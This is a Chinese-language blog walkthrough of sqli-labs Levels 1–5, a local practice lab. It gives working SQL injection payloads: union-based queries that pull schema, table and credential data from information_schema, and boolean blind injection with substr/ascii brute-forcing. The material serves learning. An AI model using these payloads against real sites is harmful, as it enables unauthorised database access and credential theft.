sqli-labs的前五题

首先,我们需要搭建sqli-labs,在网上下载相关资源,并解压缩在小皮的WWW目录下,最先下载的是php5版本的资源,将小皮中的php版本换为5,无法创建数据库,又找到php7版本的资源,但是仍报错,最终在不断尝试下,又下载了MySQL5.1才顺利运行,

less1:

首先看到的是这句话:Please input the ID as parameter with numeric value

所以我打开hackbar先输入一个id=1进去(为了学习和操作方便,我直接在源代码中添加了echo $sql;使sql语句直接显示在welcome下方我们发现,网站正常返回了一个用户名与密码,继续输入不同的数字,同样的会返回不同的账号与密码。再之后我们尝试对其通过加分号,发现报错,

而我们继续使用一个二维语句,并用注释符--+放置结尾:   

 ?id =1' and 1=2--+

发送后语句后并没有返回报错,那我们的语句被正常执行,存在注入漏洞。

接下来,我们使用order by语句,order by的功能是对表中第n列数据进行排序,所以我们可以通过其报错来判断表中的列数,接下来从十开始,

我们发现报错,接下来使用二分法,令数字减半,最终试出有三个字段

接下来使用union selec联合查询来找到库名并观察返回值

 语句正常执行,但是与只输入1是一样的结果,所以我们继续将前方的1去掉,改为-1

事情发生了新的变化,在用户名与密码的位置出现了我们注入得到的2与3,表明这两个位置我们可用。将3的位置作为一个显示位,输入

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata--+,对其进行查库操作,接着继续加入limit n,1来对库中不同行数据进行查询,如果数据过多查询太过繁琐,我们就可以使用group_concat()函数来连接到一行显示

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

我们继续对security进行操作

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

单引号可能会引起一些问题,在有些时候需要改为十六进制,但是这里没有问题,就先继续使用了,此时,我们找到了用户名与密码的目录,第一关完成,此时也可以使用contact_ws('--',username,password)这个函数来一一对应取出账户与密码。

查看是否有注入

查看有多少列

查看哪些数据可回显

查库:select schema_name from information_schema.schemata

查表:select table_name from information_schema.tables where table_schema='security'

查列:select clumn_name from information_schema.columns where table_name='users'

查字段:select username,password from security.users

这是前几关的基本思路

less2:

第二关与第一关的差别不大,但是第二关并非第一关的字符串型,所以在?id=1后并不需要加单引号闭合,此外与第一关操作完全相同

less3:

在第三题中,我们输入一个1’报错中1被双引号与括号包裹,并且我们多一个单引号,所以在加上括号后,将结尾注释掉,我们发现恢复正常所以此题和第一题类似,但是需要多加一个括号,其余步骤与上相同

less4

同样的,我们再次输入1‘,发现能够正常返回,将’改为"后,出现报错观察报错我们多写一个双引号并在右侧出现括号,于是输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1")--+正常返回,于是重复之前题目步骤,解决题目

less5

来到第五题后,我们传入一个1,与之前题目不同当我们更改其他数字时,其仅仅显示You are in 或不显示,当输入1’时,发生报错,说明存在注入漏洞,此题在传入正确内容时有回显,而传入错误内容时不显示,且显示内容不变化,所以,我们使用以下语句判断

http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27%20and%20left((select%20database()),1)=%27A%27--+此时无回显数据,当我们将A不断更改时,会发现,当其等于S时,出现了返回数据所以,我们可以使用burp爆破,继续将第二位第三位试出,最后得到库名。

接下来我们换一种方法,

1./?id=1' and ascii(substr((select schema_name from information_schemata limit 1,1),1,1))>100--+

通过爆破红色位置,我们能得到其他库信息,使用相似方法,我们可以通过是否返回来猜测爆破数据是否正确,从而继续猜解其表信息,最终得到字段内的值。

  • 28
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值